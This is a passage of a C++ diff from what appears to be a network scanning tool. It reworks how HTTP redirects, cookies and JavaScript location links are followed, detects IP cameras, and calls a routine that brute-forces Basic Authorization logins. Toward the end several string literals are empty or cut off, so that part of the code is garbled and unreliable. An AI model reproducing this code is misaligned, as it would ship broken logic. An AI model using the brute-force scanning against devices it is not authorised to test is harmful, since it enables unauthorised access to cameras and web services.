"[DIGEST]", "Basic Authorization", cp, recd, buffcpy); + _specBrute(ps.cookie, ip, p, hl, finalstr, flag, pps, "[DIGEST]", "Basic Authorization", cp, recd, buffcpy); } else if(flag == 10) { @@ -1856,7 +2023,10 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P ps->port = tempPort; return ls->flag; }; + strcat(ps->headr, " -> "); + strcat(ps->headr, GetTitle(cstr.lowerBuff)); ls->_header(tempIP, tempPort, cstr.lowerBuff, ls, ps, redirStrLst, buff); + ps->port = tempPort; if(strlen(cstr.lowerBuff) < 1) { ps->flag = 3; @@ -1868,9 +2038,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P ps->flag = 0; }; - strcat(ps->headr, " -> "); - strcat(ps->headr, GetTitle(cstr.lowerBuff)); - ps->port = tempPort; delete []cstr.lowerBuff; } else @@ -2069,8 +2236,11 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P ps->port = tempPort; return ls->flag; }; + strcat(ps->headr, " -> "); + strcat(ps->headr, GetTitle(cstr.lowerBuff)); ls->_header(tempIP, tempPort, cstr.lowerBuff, ls, ps, redirStrLst, buff); - + ps->port = tempPort; + if(strlen(cstr.lowerBuff) < 1) { ps->flag = 3; @@ -2081,11 +2251,8 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P ls->flag = 0; ps->flag = 0; }; - - strcat(ps->headr, " -> "); - strcat(ps->headr, GetTitle(cstr.lowerBuff)); - delete []cstr.lowerBuff; - ps->port = tempPort; + + delete []cstr.lowerBuff; } else { @@ -2181,7 +2348,10 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P ps->port = tempPort; return ls->flag; }; + strcat(ps->headr, "->"); + strcat(ps->headr, GetTitle(cstr.lowerBuff)); ls->_header(ip, port, cstr.lowerBuff, ls, ps, redirStrLst, buff); + ps->port = tempPort; if(strlen(cstr.lowerBuff) < 1) { ps->flag = 3; @@ -2193,10 +2363,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P ps->flag = 0; }; - strcat(ps->headr, "->"); - strcat(ps->headr, GetTitle(cstr.lowerBuff)); delete []cstr.lowerBuff; - ps->port = tempPort; } else { @@ -2272,7 +2439,10 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P ps->port = tempPort; return ls->flag; }; + strcat(ps->headr, " -> "); + strcat(ps->headr, GetTitle(cstr.lowerBuff)); ls->_header(ip, port, cstr.lowerBuff, ls, ps, redirStrLst, buff); + ps->port = tempPort; if(strlen(cstr.lowerBuff) < 1) { @@ -2285,10 +2455,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P ps->flag = 0; }; - strcat(ps->headr, " -> "); - strcat(ps->headr, GetTitle(cstr.lowerBuff)); delete []cstr.lowerBuff; - ps->port = tempPort; } else { @@ -2301,38 +2468,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P return -1; }; -char *_ValidateRedStr(char *str, char *oldResStr) -{ - char toldResStr[512] = {0}; - strcat(toldResStr, " "); - strncat(toldResStr, oldResStr, 510); - char *temp1 = strstr(str, toldResStr); - char redStr[512] = {0}; - if(temp1 != NULL) - { - char *temp2 = FindFirstOcc(temp1 + 1, "\"'"); - char *temp3 = FindFirstOcc(temp2 + 1, ";\n"); - int sz = temp3 - temp2 - 2; - char tRedStr[512] = {0}; - sz = (sz < 0?0:sz); - strncpy(tRedStr, temp2 + 1, (sz < 511 ? sz : 511)); - - if(strstr(tRedStr, "+") != NULL) - { - int iC = 0; - for(int i = 0; i < sz; ++i) - { - if(tRedStr[i] != '+' && tRedStr[i] != '"' && tRedStr[i] != '\'' && tRedStr[i] != ';' && tRedStr[i] != '\n' && tRedStr[i] != ' ') - { - redStr[iC] = tRedStr[i]; - ++iC; - }; - }; - } else strcpy(redStr, tRedStr); - }; - return redStr; -}; - void _getPopupTitle(PathStr *ps, char *str) { char res[32] = {0}; @@ -2361,14 +2496,73 @@ void _getPopupTitle(PathStr *ps, char *str) }; strcat(ps->headr, "]"); +}; +void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int port) +{ + char delim[1] = {0}; + char *ptr1 = strstr(str, tag); + if(ptr1 != NULL) + { + char *ptr2 = _findFirstOcc(ptr1, "=("); + char *ptrSemi = _findFirstOcc(ptr1, ".;"); + if(ptr2 != NULL && ptrSemi != NULL) + { + int sz = ptrSemi - ptr2; + if(sz > 2) + { + char *ptrQuote1 = _findFirstOcc(ptr2, "\"'"); + if(ptrQuote1 != NULL) + { + delim[0] = ptrQuote1[0]; + char *ptrQuote2 = strstr(ptrQuote1 + 1, delim); + if(ptrQuote2 != NULL) + { + int lsz = ptrQuote2 - ptrQuote1 - 1; + char link[512] = {0}; + if(lsz < 511) + { + if(ptrQuote1[1] != '/') + { + strcpy(dataBuff, "/"); + strncat(dataBuff, ptrQuote1 + 1, lsz); + } + else strncpy(dataBuff, ptrQuote1 + 1, lsz); + }; + }; + }; + }; + } + else + { + stt->doEmitionRedFoundData("[JSLocator] _findFirst failed [" + QString(ip) + ":" + QString::number(port) + "]"); + }; + }; +}; +void _getJSCookie(char *dataBuff, char *str, char *ip, int port) +{ + char *ptr1 = strstri(str, "document.cookie"); + if(ptr1 != NULL) + { + char *ptr2 = _findFirstOcc(ptr1, "\"'"); + if(ptr2 != NULL) + { + char *ptr3 = _findFirstOcc(ptr2 + 1, "\"'"); + if(ptr3 != NULL) + { + int sz = ptr3 - ptr2 - 1; + if(sz < 1024) strncpy(dataBuff, ptr2 + 1, sz); + else + { + stt->doEmitionRedFoundData("[_getJSCookie] Cookie exceeds max value [" + QString(ip) + ":" + QString::number(port) + "]"); + }; + }; + }; + }; }; - int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std::vector *redirStrLst, char *rBuff) { std::string redirectStr = ""; - char cookie[1024] = {0}; - strncpy(cookie, _getAttribute(str, "Set-Cookie:"), 1024); - + if(strstr(str, "Set-Cookie:") != NULL) strncpy(ps->cookie, _getAttribute(str, "Set-Cookie:"), 1024); #pragma region Prechecks if(strstr(str, "[IGNR_ADDR]") != NULL) @@ -2412,7 +2606,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: ) { - strcpy(ps->headr, "[IP Camera detected.]"); + strcpy(ps->headr, "[IP Camera detected]"); l->flag = 0; ps->flag = 0; }; @@ -2423,19 +2617,16 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: #pragma endregion #pragma region 302 Redirects - if(strstri(str, "301 found") != NULL || strstri(str, "302 found") != NULL || - strstri(str, "redirect") != NULL || strstri(str, "303 see other") != NULL || - strstri(str, "302 document follows") != NULL || strstri(str, "301 moved") != NULL || strstri(str, "302 moved") != NULL || - strstri(str, "302 redirect") != NULL || strstri(str, "301 redirect") != NULL || - strstri(str, "http/1.1 302 ") != NULL || strstri(str, "http/1.0 302 ") != NULL) + if( strstri(str, "http/1.0 301") != NULL || strstri(str, "http/1.1 301") != NULL + || strstri(str, "http/1.0 302") != NULL || strstri(str, "http/1.1 302") != NULL + || strstri(str, "303 see other") != NULL + ) { - char *temp, *temp2; + char *temp = NULL, *temp2 = NULL; int res = 0; - if(strstri(str, "location: ") != NULL) { temp = strstri(str, "location: "); - if( strstr(temp+strlen("location: "), "\r\n") != NULL ) { temp2 = strstri(temp + strlen("location: "), "\r\n"); @@ -2445,77 +2636,82 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: { temp2 = strstr(temp + strlen("location: "), "\n"); res = temp2 - temp; - } else res = 600; + } + else res = 600; char newLocN[512] = {0}; - char *tmp = {0}; - if(strstri(temp, "/") != NULL) tmp = strstr(temp, "/"); - if(res > 512) strncat(newLocN, temp + strlen("location: "), 512); - else strncat(newLocN, temp + strlen("location: "), res - strlen("location: ")); - - if(strstr(newLocN, "http://") == NULL && strstr(newLocN, "https://") == NULL) + char *tmp = strstr(temp, "/"); + if(tmp != NULL) { - if(newLocN[0] != '.') + if(res > 512) strncat(newLocN, temp + strlen("location: "), 512); + else strncat(newLocN, temp + strlen("location: "), res - strlen("location: ")); + + if(strstr(newLocN, "http://") == NULL && strstr(newLocN, "https://") == NULL) { - if(newLocN[0] != '/') + if(newLocN[0] != '.') { - char tnewLocN[512] = {0}; - strcpy(tnewLocN, "/"); - strcat(tnewLocN, newLocN); - strcpy(newLocN, tnewLocN); + if(newLocN[0] != '/') + { + char tnewLocN[512] = {0}; + strcpy(tnewLocN, "/"); + strcat(tnewLocN, newLocN); + strcpy(newLocN, tnewLocN); + }; }; }; + redirectStr = std::string(newLocN); + if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) + { + redirStrLst->push_back(redirectStr); + redirectReconnect(ps->cookie, ip, port, newLocN, l, ps, redirStrLst, rBuff); + }; + return -2; }; - - redirectStr = std::string(newLocN); - if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) - { - redirStrLst->push_back(redirectStr); - redirectReconnect(cookie, ip, port, newLocN, l, ps, redirStrLst, rBuff); - }; - return -2; } else if(strstri(str, "location:") != NULL) { temp = strstri(str, "location:"); - if( strstri(temp+strlen("location:"), "\r\n") != NULL ) + if( strstr(temp+strlen("location:"), "\r\n") != NULL ) { - temp2 = strstri(temp + strlen("location:"), "\r\n"); + temp2 = strstr(temp + strlen("location:"), "\r\n"); res = temp2 - temp; } - else if( strstri(temp+strlen("location:"), "\n") != NULL ) + else if( strstr(temp+strlen("location:"), "\n") != NULL ) { - temp2 = strstri(temp + strlen("location:"), "\n"); + temp2 = strstr(temp + strlen("location:"), "\n"); res = temp2 - temp; - } else res = 600; + } + else res = 600; char newLoc[512] = {0}; - char *tmp = {0}; - if(strstri(temp, "/") != NULL) tmp = strstri(temp, "/"); - if(res > 512) strncat(newLoc, temp+strlen("location:"), 512); - else strncat(newLoc, temp + strlen("location:"), res - strlen("location:")); - - redirectStr = std::string(newLoc); - if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) + char *tmp = strstr(temp, "/"); + if(tmp != NULL) { - redirStrLst->push_back(redirectStr); - redirectReconnect(cookie, ip, port, newLoc, l, ps, redirStrLst, rBuff); + if(res > 512) strncat(newLoc, temp+strlen("location:"), 512); + else strncat(newLoc, temp + strlen("location:"), res - strlen("location:")); + + redirectStr = std::string(newLoc); + if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) + { + redirStrLst->push_back(redirectStr); + redirectReconnect(ps->cookie, ip, port, newLoc, l, ps, redirStrLst, rBuff); + }; + return -2; }; - return -2; }; }; - if( strstri(str, "see other") != NULL - || strstri(str, "object moved") != NULL || strstri(str, "moved temporarily") != NULL - || strstri(str, "moved permanently") != NULL ) + if( strstri(str, "see other") != NULL || strstri(str, "object moved") != NULL + || strstri(str, "moved temporarily") != NULL || strstri(str, "moved permanently") != NULL + ) { char *temp; if(strstri(str, "location=") != NULL) { temp = strstri(str, "location="); - char *temp2 = strstri(temp+strlen("location="), ">"); + char *temp2 = strstr(temp+strlen("location="), ">"); int res = temp2 - temp; char lol[512] = {0}; @@ -2526,7 +2722,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) { redirStrLst->push_back(redirectStr); - redirectReconnect(cookie, ip, port, lol, l, ps, redirStrLst, rBuff); + redirectReconnect(ps->cookie, ip, port, lol, l, ps, redirStrLst, rBuff); }; return -2; } @@ -2534,14 +2730,13 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: { temp = strstri(str, "location:"); char *temp2; - if(strstri(temp+strlen("location:"), "\r\n") != 0) {temp2 = strstri(temp+strlen("location:"), "\r\n"); + if(strstr(temp+strlen("location:"), "\r\n") != 0) {temp2 = strstr(temp+strlen("location:"), "\r\n"); } - else if(strstri(temp+strlen("location:"), "\r\n\r\n\n") != 0) temp2 = strstri(temp+strlen("location:"), "\r\n\r\n\n"); - else if(strstri(temp+strlen("location:"), "\n") != 0) {temp2 = strstri(temp+strlen("location:"), "\n"); - } - else if(strstri(temp+strlen("content-length"), "\n") != 0) temp2 = strstri(temp+strlen("content-length"), "\n"); - else if(strstri(temp+strlen("location: "), " ") != 0) temp2 = strstri(temp+strlen("location: "), " "); - else temp2 = strstri(temp+strlen("location:"), "server"); + else if(strstr(temp+strlen("location:"), "\r\n\r\n\n") != 0) temp2 = strstr(temp+strlen("location:"), "\r\n\r\n\n"); + else if(strstr(temp+strlen("location:"), "\n") != 0) temp2 = strstr(temp+strlen("location:"), "\n"); + else if(strstr(temp+strlen("content-length"), "\n") != 0) temp2 = strstr(temp+strlen("content-length"), "\n"); + else if(strstr(temp+strlen("location: "), " ") != 0) temp2 = strstr(temp+strlen("location: "), " "); + else temp2 = strstri(temp+strlen("location:"), "server"); int res = temp2 - temp; char lol[512] = {0}; @@ -2554,12 +2749,15 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) { redirStrLst->push_back(redirectStr); - redirectReconnect(cookie, ip, port, lol, l, ps, redirStrLst, rBuff); + redirectReconnect(ps->cookie, ip, port, lol, l, ps, redirStrLst, rBuff); }; return -2; }; }; - if(strstri(str, "http-equiv=\"refresh\"") != NULL || strstri(str, "http-equiv=refresh") != NULL || strstri(str, "http-equiv='refresh'") != NULL) + if(strstri(str, "http-equiv=\"refresh\"") != NULL + || strstri(str, "http-equiv=refresh") != NULL + || strstri(str, "http-equiv='refresh'") != NULL + ) { char *temp = NULL; char *strTmp = NULL; @@ -2579,17 +2777,22 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: if(temp[4] == '"' || temp[4] == '\'' || temp[4] == ' ' || temp[4] == '\n' || temp[4] == '\r') { - temp2 = FindFirstOcc(temp + 6, " \n>\"'"); - sz = (int)(temp2 - temp) - 5; - strncpy(temp3, (char*)(temp + 5), (sz < 128 ? sz : 128)); + temp2 = _findFirstOcc(temp + 6, " \n>\"'"); + if(temp2 != NULL) + { + sz = (int)(temp2 - temp) - 5; + strncpy(temp3, (char*)(temp + 5), (sz < 128 ? sz : 128)); + }; } else { - temp2 = FindFirstOcc(temp + 4, " \n>\"'"); - sz = (int)(temp2 - temp) - 4; - strncpy(temp3, (char*)(temp + 4), sz < 128 ? sz : 128); + temp2 = _findFirstOcc(temp + 4, " \n>\"'"); + if(temp2 != NULL) + { + sz = (int)(temp2 - temp) - 4; + strncpy(temp3, (char*)(temp + 4), sz < 128 ? sz : 128); + }; }; - if(strstri(temp3, "http://") == NULL && strstri(temp3, "https://") == NULL) { if(temp3[0] != '.') @@ -2603,309 +2806,101 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: }; }; }; - redirectStr = std::string(temp3); if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) { redirStrLst->push_back(redirectStr); - redirectReconnect(cookie, ip, port, temp3, l, ps, redirStrLst, rBuff); + redirectReconnect(ps->cookie, ip, port, temp3, l, ps, redirStrLst, rBuff); }; strcat(ps->headr, " "); return -2; }; - strcat(ps->headr, finalstr); strcat(ps->headr, " "); return 0; }; }; - if((strstri(str, "location.href") != NULL || strstri(str, "window.location =") != NULL || strstri(str, "window.location=") != NULL) - && strstri(str, "onClick=\"location.href") == NULL) + if(strstri(str, "headr, "[JS-Err: Key-word]"); - }; - if(strlen(startPoint) != 0) - { - char tredStr[512] = {0}; - char *temp1 = strstri(str, startPoint); - char *temp2 = FindFirstOcc(temp1, "\"'}"); - char *temp3 = FindFirstOcc(temp2 + 1, "\"'}"); - int sz = temp3 - temp2 - 1; - strncpy(tredStr, temp2 + 1, (sz < 511 ? sz : 511)); - char redStr[512] = {0}; - if(strstri(tredStr, "+") != NULL) + ZeroMemory(linkPtr, 512); + ptr2 = strstri(ptr1, ""); + if(ptr2 != NULL) { - strncpy(redStr, tredStr + 1, 511); - sz = strlen(tredStr) - 1; - } - else strcpy(redStr, tredStr); + int sz = ptr2 - ptr1; + char *scriptContainer = new char[sz + 1]; + ZeroMemory(scriptContainer, sz + 1); + strncpy(scriptContainer, ptr1, sz); + memset(scriptContainer + sz, '\0', 1); - if(sz == 0) - { - temp2 = FindFirstOcc(temp1, "="); - temp3 = FindLastOcc(temp2 + 1, " "); - char *temp4 = FindFirstOcc(temp3 + 1, ";\r\n "); - sz = temp4 - temp3 - 1; - strncpy(redStr, temp3 + 1, (sz < 511 ? sz : 511)); - }; - - if(strstri(redStr, "/") == NULL && strstri(redStr, ".") == NULL) - { - strncpy(redStr, _ValidateRedStr(str, redStr), 511); - }; - - if(strlen(redStr) > 0 && ip != NULL) - { - if(strstr(redStr, "http://") == NULL && strstr(redStr, "https://") == NULL) + if(strstri(scriptContainer, "location.href") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location.href", ip, port); + else if(strstri(scriptContainer, "window.location") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "window.location", ip, port); + else if(strstri(scriptContainer, "location.replace") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location.replace", ip, port); + else if(strstri(scriptContainer, "location") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location", ip, port); + + if(strlen(linkPtr) != 0) { - if(redStr[0] != '/') + redirectStr = std::string(linkPtr); + if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) { - char tempRedStr[512] = {0}; - strcpy(tempRedStr, "/"); - strcat(tempRedStr, redStr); - strcpy(redStr, tempRedStr); + redirStrLst->push_back(redirectStr); + redirectReconnect(ps->cookie, ip, port, linkPtr, l, ps, redirStrLst, rBuff); }; }; - redirectStr = std::string(redStr); - if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) - { - redirStrLst->push_back(redirectStr); - redirectReconnect(cookie, ip, port, redStr, l, ps, redirStrLst, rBuff); - }; - return -2; + delete []scriptContainer; + if(ps->flag == 1) return -2; } else { - if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Rejecting in _header::location.href_Parser."); - ++Filt; - strcpy(ps->headr, "[IGNR_ADDR]"); - strcpy(ps->path, "/"); - return 0; + strcat(ps->headr, "[Cannot retrieve \"